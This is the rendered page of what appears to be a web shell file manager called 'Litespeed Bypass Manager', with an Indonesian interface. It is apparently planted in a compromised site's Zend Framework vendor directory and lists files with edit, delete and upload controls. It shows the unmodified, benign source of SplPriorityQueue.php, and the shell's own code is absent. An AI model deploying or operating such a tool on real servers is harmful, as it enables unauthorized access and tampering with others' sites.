Litespeed Bypass Manager
Direktori:
/admin/vendor/zendframework/zend-stdlib/src
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
ArrayUtils
Folder
Hapus
📁
Exception
Folder
Hapus
📁
Guard
Folder
Hapus
📁
StringWrapper
Folder
Hapus
📄 AbstractOptions.php
Edit
Hapus
📄 ArrayObject.php
Edit
Hapus
📄 ArraySerializableInterface.php
Edit
Hapus
📄 ArrayStack.php
Edit
Hapus
📄 ArrayUtils.php
Edit
Hapus
📄 ConsoleHelper.php
Edit
Hapus
📄 DispatchableInterface.php
Edit
Hapus
📄 ErrorHandler.php
Edit
Hapus
📄 FastPriorityQueue.php
Edit
Hapus
📄 Glob.php
Edit
Hapus
📄 InitializableInterface.php
Edit
Hapus
📄 JsonSerializable.php
Edit
Hapus
📄 Message.php
Edit
Hapus
📄 MessageInterface.php
Edit
Hapus
📄 ParameterObjectInterface.php
Edit
Hapus
📄 Parameters.php
Edit
Hapus
📄 ParametersInterface.php
Edit
Hapus
📄 PriorityList.php
Edit
Hapus
📄 PriorityQueue.php
Edit
Hapus
📄 Request.php
Edit
Hapus
📄 RequestInterface.php
Edit
Hapus
📄 Response.php
Edit
Hapus
📄 ResponseInterface.php
Edit
Hapus
📄 SplPriorityQueue.php
Edit
Hapus
📄 SplQueue.php
Edit
Hapus
📄 SplStack.php
Edit
Hapus
📄 StringUtils.php
Edit
Hapus
Edit File: SplPriorityQueue.php
<?php /** * Zend Framework (http://framework.zend.com/) * * @link http://github.com/zendframework/zf2 for the canonical source repository * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ namespace Zend\Stdlib; use Serializable; /** * Serializable version of SplPriorityQueue * * Also, provides predictable heap order for datums added with the same priority * (i.e., they will be emitted in the same order they are enqueued). */ class SplPriorityQueue extends \SplPriorityQueue implements Serializable { /** * @var int Seed used to ensure queue order for items of the same priority */ protected $serial = PHP_INT_MAX; /** * Insert a value with a given priority * * Utilizes {@var $serial} to ensure that values of equal priority are * emitted in the same order in which they are inserted. * * @param mixed $datum * @param mixed $priority * @return void */ public function insert($datum, $priority) { if (! is_array($priority)) { $priority = [$priority, $this->serial--]; } parent::insert($datum, $priority); } /** * Serialize to an array * * Array will be priority => data pairs * * @return array */ public function toArray() { $array = []; foreach (clone $this as $item) { $array[] = $item; } return $array; } /** * Serialize * * @return string */ public function serialize() { $clone = clone $this; $clone->setExtractFlags(self::EXTR_BOTH); $data = []; foreach ($clone as $item) { $data[] = $item; } return serialize($data); } /** * Deserialize * * @param string $data * @return void */ public function unserialize($data) { $this->serial = PHP_INT_MAX; foreach (unserialize($data) as $item) { $this->serial--; $this->insert($item['data'], $item['priority']); } } }
Simpan
Catatan: Mengedit file biner tidak disarankan.